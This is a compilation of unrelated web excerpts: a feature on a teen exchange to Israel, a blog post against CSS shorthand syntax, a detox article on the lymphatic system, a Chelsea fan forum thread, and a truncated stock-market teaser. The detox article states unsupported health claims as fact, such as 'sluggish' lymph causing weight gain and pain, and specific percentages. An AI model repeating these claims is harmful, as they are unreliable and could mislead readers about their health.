"We match students and families the way roommates are typically matched, with attention to interests, religious practices, and even pets," said Sandler. "A lot of care and attention is given on both sides."
The cost of the program for participants is $1,000, which includes round-trip airfare and almost all meals. Subsidies come from Federation allocations.
For Judah Gross, Israel was almost a second home. His family maintains an apartment there, and Judah has spent considerable time in the place he knows well. But not well enough, as it turned out.
"I realized, after I participated in MIFGASH, that I had seen Israel only through the lens of my relatives. The trip last summer gave me a totally new perspective -- I had never really been in an Israeli household of non-relatives before."
Judah, 17, a senior at Abington High School, and president of its poetry club and a member of its debating team, found himself inspired by the new interactions he experienced, and fascinated by the incredible similarities between his host family's household and his own. "I guess one obvious similarity was the amount of food shoved upon us -- it was superhuman!" he quipped.
But on the serious side, Judah Gross was struck by the differing political views he was exposed to, the rich experience of learning the history and ways of life of Philadelphia's sister region, and the incredible gift of meeting 12 Israeli students who have become friends. "We're very close through the Internet," said Judah, "and I feel that my host family will continue to be a part of my life."
Both Judah and Jennifer, who in turn hosted their Israeli hosts in Philadelphia later last summer, introducing them to everything from local museums to the Phillies, acknowledge that there are challenges in any exchange program. But even with some language barriers and cultural differences, neither would have changed a thing about their amazing summer of 2006.
And that's music to the ears of Adi Inbar, Youth Shlicha at Federation.
"I think we all know now from ongoing research that Israeli and American teens really know very little about one another," said Inbar. "We are starting to recognize that the best experience is always a personal one."
Inbar also believes that members of each constituency -- the Israeli and the American students -- become more aware not just of one another's lives, but of the political and social pulls that have an impact. "It's the feeling side that fortifies the learning side, and in the end, feelings are likely to last the longest."
Those feelings really surfaced when the American students were preparing to leave Israel just as the war with Lebanon was erupting. Rather than being anxious to get home, suggested Judah Gross, the impending war made it so hard to leave.
"We all felt that it was such a strange and inopportune time to be leaving. We had become so immersed in Israel, and it was so much a part of us. Leaving was the hardest thing."
But returning will be the great reward. And for both Judah and Jennifer, that return will come in the summer of 2007.
Judah, who is currently interning for the MIFGASH program through the Community Youth Initiative of the Jewish Community Centers of Philadelphia, and helping to fine-tune next summer's trips, will be part of USY's NATIV Program in Israel next year, combining study at Hebrew University with work on a Kibbutz very close to Netivot. "So I'll be able to continue my relationship with the place -- and the people," he said.
Jennifer is participating in the Satell Teen Fellowship For Leadership and Social Activism this year, which includes a trip to Israel. She will spend a Shabbat in the region, where she will be able to re-unite with her Israeli friends. "I don't know yet what my future will be, but I know that Israel will be part of it," said Jennifer. "Last summer's MIFGASH trip definitely changed my life."
The local youth will visit Israel from July 19 to 30. The Israeli youth will visit Philadelphia from Aug. 6 to Aug. 15.
For information about MIFGASH: Ambassadors for Partnership, which is planning its 2007 Partnership 2000 exchange, call Lisa Sandler, director of the Community Youth Initiative, at 215-446-3044, or visit www.jewishphilly.org/teens[1]. |
CSS Shorthand Syntax Considered an Anti-Pattern
Written by Harry Roberts on CSS Wizardry.
There’s a very small but surprisingly significant (and even more surprisingly frequent) issue I spot a lot in other peoples’ code, either when working directly with it, refactoring it, or auditing it: the use of shorthand syntax in CSS.
Typically we would view shorthand syntax as a benefit: fewer keystrokes, fewer lines of code, less data over the wire. Sounds great! However, it comes with a rather troublesome side effect: it often unsets other properties that we never intended to modify.
When we write something like:
.btn { background: red; }
…we’re likely to get a red background colour applied to our button. But what we’re really saying is this:
.btn { background-image: initial; background-position-x: initial; background-position-y: initial; background-size: initial; background-repeat-x: initial; background-repeat-y: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: red; }
Simply by using the shorter syntax, we have implicitly decided that we want no image to start top-left, repeat x and y , to scroll with the element, and so on…
Nearly every problem, bug, or regression in CSS at scale is happens because we did too much too soon, and further down the line we’re being affected by that. What this basically comes down to is the fact that, with CSS, you should only ever do as little as you need to do and nothing more.
Misusing shorthand syntax is a surefire way to do too much too soon, as thus it should be avoided. CSS is a lot harder to undo than it is to do.
In this example, what we really wanted to say was this:
.btn { background-color: red; }
Here we’ve done exactly what we needed to do, and absolutely nothing else.
One such example I encountered on a client project earlier this year looked a little like this:
.base-class { background-position: 0 0; background-repeat: no-repeat; } .base-class--modifier { background: radial-gradient(...) }
The developer had—understandably—used a gradient syntax generator to create their rather complex radial gradient, but they found that things weren’t rendering correctly at all. Their gradient syntax was correct, autoprefixer was working just fine, but for some reason their page looked really, really broken.
They couldn’t work out at all what was going wrong, to the extent that an issue was raised which simply said ‘Get Harry to look at the gradients’. Enough years of experience told me instinctively what to look for, and sure enough, I found it: hidden away in the Sass for generating gradients was the background shorthand.
This is a problem commonly found in gradient generators, so:
go and update your own gradient generators right now; submit pull requests to projects that you know to be using shorthand syntax; double check your copy/pasted syntax that you get from online generators.
The background example is just one of many instances in which we shouldn’t be using shorthand. Another very common use-case is vertical centring using margin: 0 auto; :
.wrapper { margin: 0 auto; }
The problem here is that in order to use shorthand to define auto only once—but use it on both the left and right—we had to make a decision about top and bottom as well. That was a decision we shouldn’t have made, because now we’re explicitly removing any top or bottom margins that may have been intentionally introduced elsewhere.
If all you want to do is centre a div , then don’t mention anything to do with its top and bottom edges. Favour the longhand version:
.wrapper { margin-right: auto; margin-left: auto; }
Run a quick grep over your CSS project for the string 0 auto right now and see what you find.
Exceptions
So far we’ve looked at the problem with inadvertently unsetting other properties, but there is a scenario in which shorthand would be okay. Take for example:
.box { padding: 10px; }
Here we aren’t inadvertently unsetting anything because we do want all four sides to carry 10px padding. Here, shorthand makes complete sense. Also:
.btn { padding: 12px 24px; }
…and:
.foo { margin: 12px 17px 16px 10px; }
Here—although I’d question the use of magic numbers—we are still explicitly setting all four sides, so, again, this use of shorthand would still be okay.
The key thing to remember is that shorthand is bad when it’s affecting properties that you don’t actually need to modify.
This kind of action—the inadvertent unsetting of other properties—is particularly problematic in modular and composable systems, where many different classes may be used in conjunction with one another to form more complex composites. Units of code that cannot be combined without collision or conflict are said to lack orthogonality, an important principle in the design of software.
Always favour the longhand. It might be more keystrokes, it might be more repetitive, it might be less DRY, but it’s more accurate.
It might be more keystrokes, it might be more repetitive, it might be less DRY, but it’s more accurate. Only write as much as you need and not a single bit more. Most CSS issues are caused by applying things too broadly; avoid it.
☕️ Did this help? Buy me a coffee! |
The lymphatic system, or lymph system as it is also called, is a system made up of glands, lymph nodes, the spleen, thymus gland, and tonsils. It bathes our body’s cells and carries the body’s cellular sewage away from the tissues to the blood, where it can be filtered by two of the body’s main detoxification organs: the liver and kidneys. This sewage is made up of the byproducts of our bodily processes, over-the-counter and prescription drugs, illicit drugs, cigarette toxins, other airborne pollutants, food additives, pesticides, and other toxins.
The Fat Flush author Ann Louise Gittleman, PhD, estimates that 80 percent of women have sluggish lymphatic systems and that getting them flowing smoothly is the key to easy weight loss and improved feelings of well-being.
If you are suffering from injuries, excess weight or cellulite, or pain disorders like arthritis, bursitis, headaches, or others a sluggish lymphatic system may be playing a role. Adapted from my book The 4-Week Ultimate Body Detox Plan, here are 11 ways you can get your lymph flowing smoothly:
Breathe deeply. Our bodies have three times more lymph fluid than blood, yet no organ to pump it. Your lymph system relies on the pumping action of deep breathing to help it transport toxins into the blood before they are detoxified by your liver. So breathe in that sweet smell of healing oxygen. Breathe out toxins.
Get moving. Exercise also ensures the lymph system flows properly. The best kind is rebounding on a mini trampoline, which can dramatically improve lymph flow, but stretching and aerobic exercise also work well.
Drink plenty of pure water. Without adequate water, lymph fluid cannot flow properly. To help ensure the water is readily absorbed by your cells, I frequently add some fresh lemon juice or oxygen, Cellfood, or pH drops. To learn more about balancing your pH check out my book, The Ultimate pH Solution.
Forget the soda, trash the neon-colored sports drinks, and drop the fruit “juices” that are more sugar than fruit. These sugar-, color-, and preservative-laden beverages add to the already overburdened workload your lymph system must handle.
Eat more raw fruit on an empty stomach. The enzymes and acids in fruit are powerful lymph cleansers. Eat them on an empty stomach for best digestion and maximum lymph-cleansing benefits. Most fruits are digested within 30 minutes or so and quickly help you feel better.
Eat plenty of green vegetables to get adequate chlorophyll to help purify your blood and lymph. Sprouts are particularly good thanks to their abundant enzymes, which help to clean up the lymphatic system.
Add a few lymph-boosting herbal teas to your day, such as astragalus, echinacea, goldenseal, pokeroot, or wild indigo root tea. Consult an herbalist or natural medicine specialist before combining two or more herbs or if you’re taking any medications or suffer from any serious health conditions. Avoid using herbs while pregnant or lactating and avoid long-term use of any herb without first consulting a qualified professional.
Dry skin brush before showering. Use a natural bristle brush. Brush your dry skin in circular motions upward from the feet to the torso and from the fingers to the chest. You want to work in the same direction as your lymph flows—toward the heart.
Alternate hot and cold showers for several minutes. The heat dilates the blood vessels and the cold causes them to contract. Avoid this type of therapy if you have a heart or blood pressure condition or if you are pregnant.
Get a gentle massage. Studies show that a gentle massage can push up to 78 percent of stagnant lymph back into circulation. Massage frees trapped toxins. You can also try a lymph drainage massage. It is a special form of massage that specifically targets lymph flow in the body. Whatever type of massage you choose, make sure it is gentle. Too much pressure may feel good on the muscles, but it doesn’t have the same lymph-stimulating effects.
There are countless benefits of getting your lymphatic system moving more efficiently, including more energy, less pain, and improved detoxification. Adapted from The 4-Week Ultimate Body Detox Plan by Michelle Schoffro Cook, PhD.
Socorro, thank you for drawing my attention to the omission in my book. I'm not sure what happened but the recipe IS missing. Use 10 drops of each of the oils listed on page 109. Add to 8 ounces of a good quality carrier oil such as sweet almond or apricot kernel oil. Gently mix the oils together. Store in a glass bottle. Massage a small amount into your skin working in small circles that move toward your heart (up from the legs, up from the arms). Perform this massage on a daily basis. Hope that helps.
Thanks for your kind words Debra. I'm glad you found it helpful. In addition to my e-books and print books you might like my upcoming book, Weekend Wonder Detox that will be available in bookstores by April.
Hi Michelle..I am so glad I found your site...I have received so much valuable information from you and I am going to purchase some of your ebooks. I don't have an ereader so will just do the pdf method. Am so looking forward to getting into this detox diet.
Regards
Debra |
But how well have they been playing? Fantastic football! Conte is a GENIOUS
Thankyou to SBS last Sat for the LIVE broadcast ....... flower YOU OPTUS, seriously, go water your flower pot! Ass whipes
But back to the blues, wow they look sensational atm. Also, congrats to Leicester for their Champions league performance (Forget their EPL form atm) Have seen most their CL games and great to see them qualify!
So here we are, even though I have to wait a whole ridiculous 24 hrs before the Stoke game is on Chelsea TV Why anyone would condone the butt whipping pathetic excuse for a "Phone company" Not a "Tv Station" btw Optus, is beyond me .... end rant
So we lose my boy Oscar for 60 million. Why couldn't they want Willian? (Please ....... please take Willian China!) I am not certain we will actually splash money for a replacement, if anyone is added I'd think they will bye a striker to support or play with Diego!
But how good is David Luiz? For some silly reason he was sold but guess what. DL is back and with a vengeance! ....... as I thought
Lastly, I am glad to see Pedro and Fabregas starting and playing well! I was worried for a while they'd move on. But we have serious matters like Champions League next season and we need the Spanish duo!
So we lose my boy Oscar for 60 million. Why couldn't they want Willian? (Please ....... please take Willian China!) I am not certain we will actually splash money for a replacement, if anyone is added I'd think they will bye a striker to support or play with Diego!
Nah nah nah mate. Willian and Oscar play different positions, and Oscar clearly doesn't fit Conte's system. While Oscar might be a good player, and he has scored some good, important goals for the club, just be happy he isn't going to a European or English rival.
As long as Alonso and Hazard keep teaming up on the left and find Costa in the middle for my fantasy team, I'm good with you guys (Although please draw this week need to keep Arsenal's winning record in tact )
So we lose my boy Oscar for 60 million. Why couldn't they want Willian? (Please ....... please take Willian China!) I am not certain we will actually splash money for a replacement, if anyone is added I'd think they will bye a striker to support or play with Diego!
Nah nah nah mate. Willian and Oscar play different positions, and Oscar clearly doesn't fit Conte's system. While Oscar might be a good player, and he has scored some good, important goals for the club, just be happy he isn't going to a European or English rival.
Willian is a very important cog in the Conte machine.
Still not sold on Willian but I admit he is important to the team!
With much uncertainty over Diego and Mitchi unable to command a start, what do Chelsea do about the front man before the transfer window closes?
Hopefully this Costa business not that it worried us Saturday, but we don't want that issue to cost us league matches! Interesting couple of weeks for the club! But maybe Conte is content with Pedro - Hazard - Willian front three for now? |
This year, the Amazon shares are pulling up the stock markets in the US. Since the beginning of the year they have grown by 23%. In the last 12 months they have grown by more than 60%. The company is growing and supressing the competition. What is currently the biggest risk? The way of supressing […] |
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